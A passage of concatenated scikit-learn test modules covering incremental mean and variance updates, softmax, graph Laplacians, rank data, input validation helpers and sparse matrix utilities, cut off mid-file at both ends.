                  [600, 470, 170, 430, 300]]).T
    idx = 2
    X1 = A[:idx, :]
    X2 = A[idx:, :]

    old_means = X1.mean(axis=0)
    old_variances = X1.var(axis=0)
    old_sample_count = X1.shape[0]
    final_means, final_variances, final_count = \
        _incremental_mean_and_var(X2, old_means, old_variances,
                                  old_sample_count)
    assert_almost_equal(final_means, A.mean(axis=0), 6)
    assert_almost_equal(final_variances, A.var(axis=0), 6)
    assert_almost_equal(final_count, A.shape[0])


@skip_if_32bit
def test_incremental_variance_numerical_stability():
    # Test Youngs and Cramer incremental variance formulas.

    def np_var(A):
        return A.var(axis=0)

    # Naive one pass variance computation - not numerically stable
    # https://en.wikipedia.org/wiki/Algorithms_for_calculating_variance
    def one_pass_var(X):
        n = X.shape[0]
        exp_x2 = (X ** 2).sum(axis=0) / n
        expx_2 = (X.sum(axis=0) / n) ** 2
        return exp_x2 - expx_2

    # Two-pass algorithm, stable.
    # We use it as a benchmark. It is not an online algorithm
    # https://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#Two-pass_algorithm
    def two_pass_var(X):
        mean = X.mean(axis=0)
        Y = X.copy()
        return np.mean((Y - mean)**2, axis=0)

    # Naive online implementation
    # https://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#Online_algorithm
    # This works only for chunks for size 1
    def naive_mean_variance_update(x, last_mean, last_variance,
                                   last_sample_count):
        updated_sample_count = (last_sample_count + 1)
        samples_ratio = last_sample_count / float(updated_sample_count)
        updated_mean = x / updated_sample_count + last_mean * samples_ratio
        updated_variance = last_variance * samples_ratio + \
            (x - last_mean) * (x - updated_mean) / updated_sample_count
        return updated_mean, updated_variance, updated_sample_count

    # We want to show a case when one_pass_var has error > 1e-3 while
    # _batch_mean_variance_update has less.
    tol = 200
    n_features = 2
    n_samples = 10000
    x1 = np.array(1e8, dtype=np.float64)
    x2 = np.log(1e-5, dtype=np.float64)
    A0 = x1 * np.ones((n_samples // 2, n_features), dtype=np.float64)
    A1 = x2 * np.ones((n_samples // 2, n_features), dtype=np.float64)
    A = np.vstack((A0, A1))

    # Older versions of numpy have different precision
    # In some old version, np.var is not stable
    if np.abs(np_var(A) - two_pass_var(A)).max() < 1e-6:
        stable_var = np_var
    else:
        stable_var = two_pass_var

    # Naive one pass var: >tol (=1063)
    assert_greater(np.abs(stable_var(A) - one_pass_var(A)).max(), tol)

    # Starting point for online algorithms: after A0

    # Naive implementation: >tol (436)
    mean, var, n = A0[0, :], np.zeros(n_features), n_samples // 2
    for i in range(A1.shape[0]):
        mean, var, n = \
            naive_mean_variance_update(A1[i, :], mean, var, n)
    assert_equal(n, A.shape[0])
    # the mean is also slightly unstable
    assert_greater(np.abs(A.mean(axis=0) - mean).max(), 1e-6)
    assert_greater(np.abs(stable_var(A) - var).max(), tol)

    # Robust implementation: <tol (177)
    mean, var, n = A0[0, :], np.zeros(n_features), n_samples // 2
    for i in range(A1.shape[0]):
        mean, var, n = \
            _incremental_mean_and_var(A1[i, :].reshape((1, A1.shape[1])),
                                      mean, var, n)
    assert_equal(n, A.shape[0])
    assert_array_almost_equal(A.mean(axis=0), mean)
    assert_greater(tol, np.abs(stable_var(A) - var).max())


def test_incremental_variance_ddof():
    # Test that degrees of freedom parameter for calculations are correct.
    rng = np.random.RandomState(1999)
    X = rng.randn(50, 10)
    n_samples, n_features = X.shape
    for batch_size in [11, 20, 37]:
        steps = np.arange(0, X.shape[0], batch_size)
        if steps[-1] != X.shape[0]:
            steps = np.hstack([steps, n_samples])

        for i, j in zip(steps[:-1], steps[1:]):
            batch = X[i:j, :]
            if i == 0:
                incremental_means = batch.mean(axis=0)
                incremental_variances = batch.var(axis=0)
                # Assign this twice so that the test logic is consistent
                incremental_count = batch.shape[0]
                sample_count = batch.shape[0]
            else:
                result = _incremental_mean_and_var(
                    batch, incremental_means, incremental_variances,
                    sample_count)
                (incremental_means, incremental_variances,
                 incremental_count) = result
                sample_count += batch.shape[0]

            calculated_means = np.mean(X[:j], axis=0)
            calculated_variances = np.var(X[:j], axis=0)
            assert_almost_equal(incremental_means, calculated_means, 6)
            assert_almost_equal(incremental_variances,
                                calculated_variances, 6)
            assert_equal(incremental_count, sample_count)


def test_vector_sign_flip():
    # Testing that sign flip is working & largest value has positive sign
    data = np.random.RandomState(36).randn(5, 5)
    max_abs_rows = np.argmax(np.abs(data), axis=1)
    data_flipped = _deterministic_vector_sign_flip(data)
    max_rows = np.argmax(data_flipped, axis=1)
    assert_array_equal(max_abs_rows, max_rows)
    signs = np.sign(data[range(data.shape[0]), max_abs_rows])
    assert_array_equal(data, data_flipped * signs[:, np.newaxis])


def test_softmax():
    rng = np.random.RandomState(0)
    X = rng.randn(3, 5)
    exp_X = np.exp(X)
    sum_exp_X = np.sum(exp_X, axis=1).reshape((-1, 1))
    assert_array_almost_equal(softmax(X), exp_X / sum_exp_X)






# Author: Gael Varoquaux <gael.varoquaux@normalesup.org>
# License: BSD 3 clause

import numpy as np
from scipy import sparse

from sklearn.utils.graph import graph_laplacian


def test_graph_laplacian():
    for mat in (np.arange(10) * np.arange(10)[:, np.newaxis],
                np.ones((7, 7)),
                np.eye(19),
                np.vander(np.arange(4)) + np.vander(np.arange(4)).T,):
        sp_mat = sparse.csr_matrix(mat)
        for normed in (True, False):
            laplacian = graph_laplacian(mat, normed=normed)
            n_nodes = mat.shape[0]
            if not normed:
                np.testing.assert_array_almost_equal(laplacian.sum(axis=0),
                                                     np.zeros(n_nodes))
            np.testing.assert_array_almost_equal(laplacian.T, laplacian)
            np.testing.assert_array_almost_equal(
                laplacian, graph_laplacian(sp_mat, normed=normed).toarray())






from sklearn.utils.testing import assert_array_equal

from sklearn.utils.stats import rankdata


_cases = (
    # values, method, expected
    ([100], 'max', [1.0]),
    ([100, 100, 100], 'max', [3.0, 3.0, 3.0]),
    ([100, 300, 200], 'max', [1.0, 3.0, 2.0]),
    ([100, 200, 300, 200], 'max', [1.0, 3.0, 4.0, 3.0]),
    ([100, 200, 300, 200, 100], 'max', [2.0, 4.0, 5.0, 4.0, 2.0]),
)


def test_cases():

    def check_case(values, method, expected):
        r = rankdata(values, method=method)
        assert_array_equal(r, expected)

    for values, method, expected in _cases:
        yield check_case, values, method, expected






"""Tests for input validation functions"""

import warnings

from tempfile import NamedTemporaryFile
from itertools import product

import numpy as np
from numpy.testing import assert_array_equal
import scipy.sparse as sp
from nose.tools import assert_raises, assert_true, assert_false, assert_equal

from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import assert_no_warnings
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import ignore_warnings
from sklearn.utils import as_float_array, check_array, check_symmetric
from sklearn.utils import check_X_y
from sklearn.utils.mocking import MockDataFrame
from sklearn.utils.estimator_checks import NotAnArray
from sklearn.random_projection import sparse_random_matrix
from sklearn.linear_model import ARDRegression
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import RandomForestRegressor
from sklearn.svm import SVR
from sklearn.datasets import make_blobs
from sklearn.utils.validation import (
    has_fit_parameter,
    check_is_fitted,
    check_consistent_length,
)

from sklearn.exceptions import NotFittedError
from sklearn.exceptions import DataConversionWarning

from sklearn.utils.testing import assert_raise_message


def test_as_float_array():
    # Test function for as_float_array
    X = np.ones((3, 10), dtype=np.int32)
    X = X + np.arange(10, dtype=np.int32)
    # Checks that the return type is ok
    X2 = as_float_array(X, copy=False)
    np.testing.assert_equal(X2.dtype, np.float32)
    # Another test
    X = X.astype(np.int64)
    X2 = as_float_array(X, copy=True)
    # Checking that the array wasn't overwritten
    assert_true(as_float_array(X, False) is not X)
    # Checking that the new type is ok
    np.testing.assert_equal(X2.dtype, np.float64)
    # Here, X is of the right type, it shouldn't be modified
    X = np.ones((3, 2), dtype=np.float32)
    assert_true(as_float_array(X, copy=False) is X)
    # Test that if X is fortran ordered it stays
    X = np.asfortranarray(X)
    assert_true(np.isfortran(as_float_array(X, copy=True)))

    # Test the copy parameter with some matrices
    matrices = [
        np.matrix(np.arange(5)),
        sp.csc_matrix(np.arange(5)).toarray(),
        sparse_random_matrix(10, 10, density=0.10).toarray()
    ]
    for M in matrices:
        N = as_float_array(M, copy=True)
        N[0, 0] = np.nan
        assert_false(np.isnan(M).any())


def test_np_matrix():
    # Confirm that input validation code does not return np.matrix
    X = np.arange(12).reshape(3, 4)

    assert_false(isinstance(as_float_array(X), np.matrix))
    assert_false(isinstance(as_float_array(np.matrix(X)), np.matrix))
    assert_false(isinstance(as_float_array(sp.csc_matrix(X)), np.matrix))


def test_memmap():
    # Confirm that input validation code doesn't copy memory mapped arrays

    asflt = lambda x: as_float_array(x, copy=False)

    with NamedTemporaryFile(prefix='sklearn-test') as tmp:
        M = np.memmap(tmp, shape=(10, 10), dtype=np.float32)
        M[:] = 0

        for f in (check_array, np.asarray, asflt):
            X = f(M)
            X[:] = 1
            assert_array_equal(X.ravel(), M.ravel())
            X[:] = 0


def test_ordering():
    # Check that ordering is enforced correctly by validation utilities.
    # We need to check each validation utility, because a 'copy' without
    # 'order=K' will kill the ordering.
    X = np.ones((10, 5))
    for A in X, X.T:
        for copy in (True, False):
            B = check_array(A, order='C', copy=copy)
            assert_true(B.flags['C_CONTIGUOUS'])
            B = check_array(A, order='F', copy=copy)
            assert_true(B.flags['F_CONTIGUOUS'])
            if copy:
                assert_false(A is B)

    X = sp.csr_matrix(X)
    X.data = X.data[::-1]
    assert_false(X.data.flags['C_CONTIGUOUS'])


@ignore_warnings
def test_check_array():
    # accept_sparse == None
    # raise error on sparse inputs
    X = [[1, 2], [3, 4]]
    X_csr = sp.csr_matrix(X)
    assert_raises(TypeError, check_array, X_csr)
    # ensure_2d
    assert_warns(DeprecationWarning, check_array, [0, 1, 2])
    X_array = check_array([0, 1, 2])
    assert_equal(X_array.ndim, 2)
    X_array = check_array([0, 1, 2], ensure_2d=False)
    assert_equal(X_array.ndim, 1)
    # don't allow ndim > 3
    X_ndim = np.arange(8).reshape(2, 2, 2)
    assert_raises(ValueError, check_array, X_ndim)
    check_array(X_ndim, allow_nd=True)  # doesn't raise
    # force_all_finite
    X_inf = np.arange(4).reshape(2, 2).astype(np.float)
    X_inf[0, 0] = np.inf
    assert_raises(ValueError, check_array, X_inf)
    check_array(X_inf, force_all_finite=False)  # no raise
    # nan check
    X_nan = np.arange(4).reshape(2, 2).astype(np.float)
    X_nan[0, 0] = np.nan
    assert_raises(ValueError, check_array, X_nan)
    check_array(X_inf, force_all_finite=False)  # no raise

    # dtype and order enforcement.
    X_C = np.arange(4).reshape(2, 2).copy("C")
    X_F = X_C.copy("F")
    X_int = X_C.astype(np.int)
    X_float = X_C.astype(np.float)
    Xs = [X_C, X_F, X_int, X_float]
    dtypes = [np.int32, np.int, np.float, np.float32, None, np.bool, object]
    orders = ['C', 'F', None]
    copys = [True, False]

    for X, dtype, order, copy in product(Xs, dtypes, orders, copys):
        X_checked = check_array(X, dtype=dtype, order=order, copy=copy)
        if dtype is not None:
            assert_equal(X_checked.dtype, dtype)
        else:
            assert_equal(X_checked.dtype, X.dtype)
        if order == 'C':
            assert_true(X_checked.flags['C_CONTIGUOUS'])
            assert_false(X_checked.flags['F_CONTIGUOUS'])
        elif order == 'F':
            assert_true(X_checked.flags['F_CONTIGUOUS'])
            assert_false(X_checked.flags['C_CONTIGUOUS'])
        if copy:
            assert_false(X is X_checked)
        else:
            # doesn't copy if it was already good
            if (X.dtype == X_checked.dtype and
                    X_checked.flags['C_CONTIGUOUS'] == X.flags['C_CONTIGUOUS']
                    and X_checked.flags['F_CONTIGUOUS'] == X.flags['F_CONTIGUOUS']):
                assert_true(X is X_checked)

    # allowed sparse != None
    X_csc = sp.csc_matrix(X_C)
    X_coo = X_csc.tocoo()
    X_dok = X_csc.todok()
    X_int = X_csc.astype(np.int)
    X_float = X_csc.astype(np.float)

    Xs = [X_csc, X_coo, X_dok, X_int, X_float]
    accept_sparses = [['csr', 'coo'], ['coo', 'dok']]
    for X, dtype, accept_sparse, copy in product(Xs, dtypes, accept_sparses,
                                                 copys):
        with warnings.catch_warnings(record=True) as w:
            X_checked = check_array(X, dtype=dtype,
                                    accept_sparse=accept_sparse, copy=copy)
        if (dtype is object or sp.isspmatrix_dok(X)) and len(w):
            message = str(w[0].message)
            messages = ["object dtype is not supported by sparse matrices",
                        "Can't check dok sparse matrix for nan or inf."]
            assert_true(message in messages)
        else:
            assert_equal(len(w), 0)
        if dtype is not None:
            assert_equal(X_checked.dtype, dtype)
        else:
            assert_equal(X_checked.dtype, X.dtype)
        if X.format in accept_sparse:
            # no change if allowed
            assert_equal(X.format, X_checked.format)
        else:
            # got converted
            assert_equal(X_checked.format, accept_sparse[0])
        if copy:
            assert_false(X is X_checked)
        else:
            # doesn't copy if it was already good
            if (X.dtype == X_checked.dtype and X.format == X_checked.format):
                assert_true(X is X_checked)

    # other input formats
    # convert lists to arrays
    X_dense = check_array([[1, 2], [3, 4]])
    assert_true(isinstance(X_dense, np.ndarray))
    # raise on too deep lists
    assert_raises(ValueError, check_array, X_ndim.tolist())
    check_array(X_ndim.tolist(), allow_nd=True)  # doesn't raise
    # convert weird stuff to arrays
    X_no_array = NotAnArray(X_dense)
    result = check_array(X_no_array)
    assert_true(isinstance(result, np.ndarray))


def test_check_array_pandas_dtype_object_conversion():
    # test that data-frame like objects with dtype object
    # get converted
    X = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.object)
    X_df = MockDataFrame(X)
    assert_equal(check_array(X_df).dtype.kind, "f")
    assert_equal(check_array(X_df, ensure_2d=False).dtype.kind, "f")
    # smoke-test against dataframes with column named "dtype"
    X_df.dtype = "Hans"
    assert_equal(check_array(X_df, ensure_2d=False).dtype.kind, "f")


def test_check_array_dtype_stability():
    # test that lists with ints don't get converted to floats
    X = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
    assert_equal(check_array(X).dtype.kind, "i")
    assert_equal(check_array(X, ensure_2d=False).dtype.kind, "i")


def test_check_array_dtype_warning():
    X_int_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
    X_float64 = np.asarray(X_int_list, dtype=np.float64)
    X_float32 = np.asarray(X_int_list, dtype=np.float32)
    X_int64 = np.asarray(X_int_list, dtype=np.int64)
    X_csr_float64 = sp.csr_matrix(X_float64)
    X_csr_float32 = sp.csr_matrix(X_float32)
    X_csc_float32 = sp.csc_matrix(X_float32)
    X_csc_int32 = sp.csc_matrix(X_int64, dtype=np.int32)
    y = [0, 0, 1]
    integer_data = [X_int64, X_csc_int32]
    float64_data = [X_float64, X_csr_float64]
    float32_data = [X_float32, X_csr_float32, X_csc_float32]
    for X in integer_data:
        X_checked = assert_no_warnings(check_array, X, dtype=np.float64,
                                       accept_sparse=True)
        assert_equal(X_checked.dtype, np.float64)

        X_checked = assert_warns(DataConversionWarning, check_array, X,
                                 dtype=np.float64,
                                 accept_sparse=True, warn_on_dtype=True)
        assert_equal(X_checked.dtype, np.float64)

        # Check that the warning message includes the name of the Estimator
        X_checked = assert_warns_message(DataConversionWarning,
                                         'SomeEstimator',
                                         check_array, X,
                                         dtype=[np.float64, np.float32],
                                         accept_sparse=True,
                                         warn_on_dtype=True,
                                         estimator='SomeEstimator')
        assert_equal(X_checked.dtype, np.float64)

        X_checked, y_checked = assert_warns_message(
            DataConversionWarning, 'KNeighborsClassifier',
            check_X_y, X, y, dtype=np.float64, accept_sparse=True,
            warn_on_dtype=True, estimator=KNeighborsClassifier())

        assert_equal(X_checked.dtype, np.float64)

    for X in float64_data:
        X_checked = assert_no_warnings(check_array, X, dtype=np.float64,
                                       accept_sparse=True, warn_on_dtype=True)
        assert_equal(X_checked.dtype, np.float64)
        X_checked = assert_no_warnings(check_array, X, dtype=np.float64,
                                       accept_sparse=True, warn_on_dtype=False)
        assert_equal(X_checked.dtype, np.float64)

    for X in float32_data:
        X_checked = assert_no_warnings(check_array, X,
                                       dtype=[np.float64, np.float32],
                                       accept_sparse=True)
        assert_equal(X_checked.dtype, np.float32)
        assert_true(X_checked is X)

        X_checked = assert_no_warnings(check_array, X,
                                       dtype=[np.float64, np.float32],
                                       accept_sparse=['csr', 'dok'],
                                       copy=True)
        assert_equal(X_checked.dtype, np.float32)
        assert_false(X_checked is X)

    X_checked = assert_no_warnings(check_array, X_csc_float32,
                                   dtype=[np.float64, np.float32],
                                   accept_sparse=['csr', 'dok'],
                                   copy=False)
    assert_equal(X_checked.dtype, np.float32)
    assert_false(X_checked is X_csc_float32)
    assert_equal(X_checked.format, 'csr')


def test_check_array_min_samples_and_features_messages():
    # empty list is considered 2D by default:
    msg = "0 feature(s) (shape=(1, 0)) while a minimum of 1 is required."
    assert_raise_message(ValueError, msg, check_array, [[]])

    # If considered a 1D collection when ensure_2d=False, then the minimum
    # number of samples will break:
    msg = "0 sample(s) (shape=(0,)) while a minimum of 1 is required."
    assert_raise_message(ValueError, msg, check_array, [], ensure_2d=False)

    # Invalid edge case when checking the default minimum sample of a scalar
    msg = "Singleton array array(42) cannot be considered a valid collection."
    assert_raise_message(TypeError, msg, check_array, 42, ensure_2d=False)

    # But this works if the input data is forced to look like a 2 array with
    # one sample and one feature:
    X_checked = assert_warns(DeprecationWarning, check_array, [42],
                             ensure_2d=True)
    assert_array_equal(np.array([[42]]), X_checked)

    # Simulate a model that would need at least 2 samples to be well defined
    X = np.ones((1, 10))
    y = np.ones(1)
    msg = "1 sample(s) (shape=(1, 10)) while a minimum of 2 is required."
    assert_raise_message(ValueError, msg, check_X_y, X, y,
                         ensure_min_samples=2)

    # The same message is raised if the data has 2 dimensions even if this is
    # not mandatory
    assert_raise_message(ValueError, msg, check_X_y, X, y,
                         ensure_min_samples=2, ensure_2d=False)

    # Simulate a model that would require at least 3 features (e.g. SelectKBest
    # with k=3)
    X = np.ones((10, 2))
    y = np.ones(2)
    msg = "2 feature(s) (shape=(10, 2)) while a minimum of 3 is required."
    assert_raise_message(ValueError, msg, check_X_y, X, y,
                         ensure_min_features=3)

    # Only the feature check is enabled whenever the number of dimensions is 2
    # even if allow_nd is enabled:
    assert_raise_message(ValueError, msg, check_X_y, X, y,
                         ensure_min_features=3, allow_nd=True)

    # Simulate a case where a pipeline stage as trimmed all the features of a
    # 2D dataset.
    X = np.empty(0).reshape(10, 0)
    y = np.ones(10)
    msg = "0 feature(s) (shape=(10, 0)) while a minimum of 1 is required."
    assert_raise_message(ValueError, msg, check_X_y, X, y)

    # nd-data is not checked for any minimum number of features by default:
    X = np.ones((10, 0, 28, 28))
    y = np.ones(10)
    X_checked, y_checked = check_X_y(X, y, allow_nd=True)
    assert_array_equal(X, X_checked)
    assert_array_equal(y, y_checked)


def test_has_fit_parameter():
    assert_false(has_fit_parameter(KNeighborsClassifier, "sample_weight"))
    assert_true(has_fit_parameter(RandomForestRegressor, "sample_weight"))
    assert_true(has_fit_parameter(SVR, "sample_weight"))
    assert_true(has_fit_parameter(SVR(), "sample_weight"))


def test_check_symmetric():
    arr_sym = np.array([[0, 1], [1, 2]])
    arr_bad = np.ones(2)
    arr_asym = np.array([[0, 2], [0, 2]])

    test_arrays = {'dense': arr_asym,
                   'dok': sp.dok_matrix(arr_asym),
                   'csr': sp.csr_matrix(arr_asym),
                   'csc': sp.csc_matrix(arr_asym),
                   'coo': sp.coo_matrix(arr_asym),
                   'lil': sp.lil_matrix(arr_asym),
                   'bsr': sp.bsr_matrix(arr_asym)}

    # check error for bad inputs
    assert_raises(ValueError, check_symmetric, arr_bad)

    # check that asymmetric arrays are properly symmetrized
    for arr_format, arr in test_arrays.items():
        # Check for warnings and errors
        assert_warns(UserWarning, check_symmetric, arr)
        assert_raises(ValueError, check_symmetric, arr, raise_exception=True)

        output = check_symmetric(arr, raise_warning=False)
        if sp.issparse(output):
            assert_equal(output.format, arr_format)
            assert_array_equal(output.toarray(), arr_sym)
        else:
            assert_array_equal(output, arr_sym)


def test_check_is_fitted():
    # Check is ValueError raised when non estimator instance passed
    assert_raises(ValueError, check_is_fitted, ARDRegression, "coef_")
    assert_raises(TypeError, check_is_fitted, "SVR", "support_")

    ard = ARDRegression()
    svr = SVR()

    try:
        assert_raises(NotFittedError, check_is_fitted, ard, "coef_")
        assert_raises(NotFittedError, check_is_fitted, svr, "support_")
    except ValueError:
        assert False, "check_is_fitted failed with ValueError"

    # NotFittedError is a subclass of both ValueError and AttributeError
    try:
        check_is_fitted(ard, "coef_", "Random message %(name)s, %(name)s")
    except ValueError as e:
        assert_equal(str(e), "Random message ARDRegression, ARDRegression")

    try:
        check_is_fitted(svr, "support_", "Another message %(name)s, %(name)s")
    except AttributeError as e:
        assert_equal(str(e), "Another message SVR, SVR")

    ard.fit(*make_blobs())
    svr.fit(*make_blobs())

    assert_equal(None, check_is_fitted(ard, "coef_"))
    assert_equal(None, check_is_fitted(svr, "support_"))


def test_check_consistent_length():
    check_consistent_length([1], [2], [3], [4], [5])
    check_consistent_length([[1, 2], [[1, 2]]], [1, 2], ['a', 'b'])
    check_consistent_length([1], (2,), np.array([3]), sp.csr_matrix((1, 2)))
    assert_raises_regexp(ValueError, 'inconsistent numbers of samples',
                         check_consistent_length, [1, 2], [1])
    assert_raises_regexp(TypeError, 'got <\w+ \'int\'>',
                         check_consistent_length, [1, 2], 1)
    assert_raises_regexp(TypeError, 'got <\w+ \'object\'>',
                         check_consistent_length, [1, 2], object())

    assert_raises(TypeError, check_consistent_length, [1, 2], np.array(1))
    # Despite ensembles having __len__ they must raise TypeError
    assert_raises_regexp(TypeError, 'estimator', check_consistent_length,
                         [1, 2], RandomForestRegressor())
    # XXX: We should have a test with a string, but what is correct behaviour?






import numpy as np
import scipy.sparse as sp

from scipy import linalg
from numpy.testing import (assert_array_almost_equal,
                           assert_array_equal,
                           assert_equal)
from numpy.random import RandomState

from sklearn.datasets import make_classification
from sklearn.utils.sparsefuncs import (mean_variance_axis,
                                       incr_mean_variance_axis,
                                       inplace_column_scale,
                                       inplace_row_scale,
                                       inplace_swap_row, inplace_swap_column,
                                       min_max_axis,
                                       count_nonzero, csc_median_axis_0)
from sklearn.utils.sparsefuncs_fast import (assign_rows_csr,
                                            inplace_csr_row_normalize_l1,
                                            inplace_csr_row_normalize_l2)
from sklearn.utils.testing import assert_raises


def test_mean_variance_axis0():
    X, _ = make_classification(5, 4, random_state=0)
    # Sparsify the array a little bit
    X[0, 0] = 0
    X[2, 1] = 0
    X[4, 3] = 0
    X_lil = sp.lil_matrix(X)
    X_lil[1, 0] = 0
    X[1, 0] = 0

    assert_raises(TypeError, mean_variance_axis, X_lil, axis=0)

    X_csr = sp.csr_matrix(X_lil)
    X_csc = sp.csc_matrix(X_lil)

    expected_dtypes = [(np.float32, np.float32),
                       (np.float64, np.float64),
                       (np.int32, np.float64),
                       (np.int64, np.float64)]

    for input_dtype, output_dtype in expected_dtypes:
        X_test = X.astype(input_dtype)
        for X_sparse in (X_csr, X_csc):
            X_sparse = X_sparse.astype(input_dtype)
            X_means, X_vars = mean_variance_axis(X_sparse, axis=0)
            assert_equal(X_means.dtype, output_dtype)
            assert_equal(X_vars.dtype, output_dtype)
            assert_array_almost_equal(X_means, np.mean(X_test, axis=0))
            assert_array_almost_equal(X_vars, np.var(X_test, axis=0))


def test_mean_variance_axis1():
    X, _ = make_classification(5, 4, random_state=0)
    # Sparsify the array a little bit
    X[0, 0] = 0
    X[2, 1] = 0
    X[4, 3] = 0
    X_lil = sp.lil_matrix(X)
    X_lil[1, 0] = 0
    X[1, 0] = 0

    assert_raises(TypeError, mean_variance_axis, X_lil, axis=1)

    X_csr = sp.csr_matrix(X_lil)
    X_csc = sp.csc_matrix(X_lil)

    expected_dtypes = [(np.float32, np.float32),
                       (np.float64, np.float64),
                       (np.int32, np.float64),
                       (np.int64, np.float64)]

    for input_dtype, output_dtype in expected_dtypes:
        X_test = X.astype(input_dtype)
        for X_sparse in (X_csr, X_csc):
            X_sparse = X_sparse.astype(input_dtype)
            X_means, X_vars = mean_variance_axis(X_sparse, axis=0)
            assert_equal(X_means.dtype, output_dtype)
            assert_equal(X_vars.dtype, output_dtype)
            assert_array_almost_equal(X_means, np.mean(X_test, axis=0))
            assert_array_almost_equal(X_vars, np.var(X_test, axis=0))


def test_incr_mean_variance_axis():
    for axis in [0, 1]:
        rng = np.random.RandomState(0)
        n_features = 50
        n_samples = 10
        data_chunks = [rng.randint(0, 2, size=n_features)
                       for i in range(n_samples)]

        # default params for incr_mean_variance
        last_mean = np.zeros(n_features)
        last_var = np.zeros_like(last_mean)
        last_n = 0

        # Test errors
        X = np.array(data_chunks[0])
        X = np.atleast_2d(X)
        X_lil = sp.lil_matrix(X)
        X_csr = sp.csr_matrix(X_lil)
        assert_raises(TypeError, incr_mean_variance_axis, axis,
                      last_mean, last_var, last_n)
        assert_raises(TypeError, incr_mean_variance_axis, axis,
                      last_mean, last_var, last_n)
        assert_raises(TypeError, incr_mean_variance_axis, X_lil, axis,
                      last_mean, last_var, last_n)

        # Test _incr_mean_and_var with a 1 row input
        X_means, X_vars = mean_variance_axis(X_csr, axis)
        X_means_incr, X_vars_incr, n_incr = \
            incr_mean_variance_axis(X_csr, axis, last_mean, last_var, last_n)
        assert_array_almost_equal(X_means, X_means_incr)
        assert_array_almost_equal(X_vars, X_vars_incr)
        assert_equal(X.shape[axis], n_incr)  # X.shape[axis] picks # samples

        X_csc = sp.csc_matrix(X_lil)
        X_means, X_vars = mean_variance_axis(X_csc, axis)
        assert_array_almost_equal(X_means, X_means_incr)
        assert_array_almost_equal(X_vars, X_vars_incr)
        assert_equal(X.shape[axis], n_incr)

        # Test _incremental_mean_and_var with whole data
        X = np.vstack(data_chunks)
        X_lil = sp.lil_matrix(X)
        X_csr = sp.csr_matrix(X_lil)
        X_csc = sp.csc_matrix(X_lil)

        expected_dtypes = [(np.float32, np.float32),
                           (np.float64, np.float64),
                           (np.int32, np.float64),
                           (np.int64, np.float64)]

        for input_dtype, output_dtype in expected_dtypes:
            for X_sparse in (X_csr, X_csc):
                X_sparse = X_sparse.astype(input_dtype)
                X_means, X_vars = mean_variance_axis(X_sparse, axis)
                X_means_incr, X_vars_incr, n_incr = \
                    incr_mean_variance_axis(X_sparse, axis, last_mean,
                                            last_var, last_n)
                assert_equal(X_means_incr.dtype, output_dtype)
                assert_equal(X_vars_incr.dtype, output_dtype)
                assert_array_almost_equal(X_means, X_means_incr)
                assert_array_almost_equal(X_vars, X_vars_incr)
                assert_equal(X.shape[axis], n_incr)


def test_mean_variance_illegal_axis():
    X, _ = make_classification(5, 4, random_state=0)
    # Sparsify the array a little bit
    X[0, 0] = 0
    X[2, 1] = 0
    X[4, 3] = 0
    X_csr = sp.csr_matrix(X)
    assert_raises(ValueError, mean_variance_axis, X_csr, axis=-3)
    assert_raises(ValueError, mean_variance_axis, X_csr, axis=2)
    assert_raises(ValueError, mean_variance_axis, X_csr, axis=-1)

    assert_raises(ValueError, incr_mean_variance_axis, X_csr, axis=-3,
                  last_mean=None, last_var=None, last_n=None)
    assert_raises(ValueError, incr_mean_variance_axis, X_csr, axis=2,
                  last_mean=None, last_var=None, last_n=None)
    assert_raises(ValueError, incr_mean_variance_axis, X_csr, axis=-1,
                  last_mean=None, last_var=None, last_n=None)


def test_densify_rows():
    for dtype in (np.float32, np.float64):
        X = sp.csr_matrix([[0, 3, 0],
                        [2, 4, 0],
                        [0, 0, 0],
                        [9, 8, 7],
                        [4, 0, 5]], dtype=dtype)
        X_rows = np.array([0, 2, 3], dtype=np.intp)
        out = np.ones((6, X.shape[1]), dtype=dtype)
        out_rows = np.array([1, 3, 4], dtype=np.intp)

        expect = np.ones_like(out)
        expect[out_rows] = X[X_rows, :].toarray()

        assign_rows_csr(X, X_rows, out_rows, out)
        assert_array_equal(out, expect)


def test_inplace_column_scale():
    rng = np.random.RandomState(0)
    X = sp.rand(100, 200, 0.05)
    Xr = X.tocsr()
    Xc = X.tocsc()
    XA = X.toarray()
    scale = rng.rand(200)
    XA *= scale

    inplace_column_scale(Xc, scale)
    inplace_column_scale(Xr, scale)
    assert_array_almost_equal(Xr.toarray(), Xc.toarray())
    assert_array_almost_equal(XA, Xc.toarray())
    assert_array_almost_equal(XA, Xr.toarray())
    assert_raises(TypeError, inplace_column_scale, X.tolil(), scale)

    X = X.astype(np.float32)
    scale = scale.astype(np.float32)
    Xr = X.tocsr()
    Xc = X.tocsc()
    XA = X.toarray()
    XA *= scale
    inplace_column_scale(Xc, scale)
    inplace_column_scale(Xr, scale)
    assert_array_almost_equal(Xr.toarray(), Xc.toarray())
    assert_array_almost_equal(XA, Xc.toarray())
    assert_array_almost_equal(XA, Xr.toarray())
    assert_raises(TypeError, inplace_column_scale, X.tolil(), scale)


def test_inplace_row_scale():
    rng = np.random.RandomState(0)
    X = sp.rand(100, 200, 0.05)
    Xr = X.tocsr()
    Xc = X.tocsc()
    XA = X.toarray()
    scale = rng.rand(100)
    XA *= scale.reshape(-1, 1)

    inplace_row_scale(Xc, scale)
    inplace_row_scale(Xr, scale)
    assert_array_almost_equal(Xr.toarray(), Xc.toarray())
    assert_array_almost_equal(XA, Xc.toarray())
    assert_array_almost_equal(XA, Xr.toarray())
    assert_raises(TypeError, inplace_column_scale, X.tolil(), scale)

    X = X.astype(np.float32)
    scale = scale.astype(np.float32)
    Xr = X.tocsr()
    Xc = X.tocsc()
    XA = X.toarray()
    XA *= scale.reshape(-1, 1)
    inplace_row_scale(Xc, scale)
    inplace_row_scale(Xr, scale)
    assert_array_almost_equal(Xr.toarray(), Xc.toarray())
    assert_array_almost_equal(XA, Xc.toarray())
    assert_array_almost_equal(XA, Xr.toarray())
    assert_raises(TypeError, inplace_column_scale, X.tolil(), scale)


def test_inplace_swap_row():
    X = np.array([[0, 3, 0],
                  [2, 4, 0],
                  [0, 0, 0],
